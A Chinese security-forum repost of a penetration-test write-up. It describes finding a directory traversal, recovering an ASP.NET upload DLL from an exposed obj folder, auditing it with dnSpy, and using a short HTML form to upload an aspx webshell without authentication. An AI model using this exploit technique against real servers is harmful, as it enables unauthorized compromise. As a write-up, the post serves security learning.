安全矩阵

 找回密码
 立即注册
搜索
查看: 2006|回复: 0

某测试端口的.net-Web功能到GetShell

[复制链接]

249

主题

299

帖子

1391

积分

金牌会员

Rank: 6Rank: 6

积分
1391
发表于 2022-6-18 11:04:21 | 显示全部楼层 |阅读模式
0x01 前言
项目中碰到了一个端口存在目录遍历,比较运气的是泄漏了ASP.NET的obj目录,最终找到了Web功能模块的DLL,实现了未授权的文件上传GetShell。

0x02 过程
在发现了这个端口存在目录遍历的时候,尝试访问页面发现了当前目录是一个CSharp的工程项目。可以看到比较清晰的目录结构。
编辑
2019/5/20    19:33        <dir> bin2018/6/20    13:42          115 FileUpload.aspx2019/5/21    15:36        2832 FileUpload.aspx.cs2018/6/20    13:42          455 FileUpload.aspx.designer.cs2018/6/20    13:42         7506 FileUpload.csproj2018/8/29     9:57         255 FileUpload.csproj.user2018/6/20    13:42         257 FileUpload.csproj.vspscc2021/10/22    13:54        <dir> FileUploader2018/6/20    14:32        <dir> obj2018/6/20    13:42          321 packages.config2018/6/20    13:42        <dir> Properties2022/3/1    18:14        <dir> UpLoadFile2021/9/10     9:11         1528 Web.config2018/6/20    13:42         1246 Web.Debug.config2018/6/20    13:42         1307 Web.Release.config
如果直接访问FileUpload.aspx并不能得到除了物理路径之外有效的信息。
​编辑
如果了解ASP.NET的项目目录结构,就会知道,obj和bin是csharp项目的两个重要的配置目录,可能包含了项目的编译后链接库文件,或者pdb等信息。
1. ASP.NET的某些基本目录结构                                        目录                        说明               
                                                        obj                        obj 目录包括项目运行需要引用的一些类、方法和接口               
                                        bin                        bin 目录是项目程序目录,包括运行时配置文件等等                直接访问bin,这里被限制了访问。
​编辑
而访问obj目录,就找到了一个FileUpload.dll。与FileUpload.aspx同名。那么就大概率是他的动态链接库,csharp的文件可以直接反编译看到源码,这样我们直接审计存不存在漏洞。
编辑
2.dnSpy反编译加审计通过导入dnSpy,直接看到功能模块源码,在FileUpload类,看到三个可控的参数ExtName、ExtName、DicName。
编辑
在关键代码第51行,第54行,也可以看到直接构造文件上传表单,在text5的目录下,直接保存文件,整个过程也没有鉴权,可以直接未授权构造文件上传。
而ExtName传入给text2,最后是我们可控的文件后缀名,最终可以直接上传aspx马。
​​
编辑
编辑
3.测试这里直接构造了请求表单。
<html>  <body>    <form action="http://xxxxxxxxxxx/FileUpload.aspx?ExtName=aspx&CorpId=1&DicName=1" method="post"  enctype="multipart/form-data">      <input type="file" name="file" />      <input type="submit" ></input>  </body></html>
编辑
成功。

0x03 总结
这里其实挺简单的。就是简单的信息收集到简单的代码审计,到getshell,主要记录下ASP.NET的目录信息泄露。
内容来源:
https://k-9.me/2022/03/20/%E6%9F ... D%E5%88%B0GetShell/
编辑


回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-11-30 01:28 , Processed in 0.013012 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表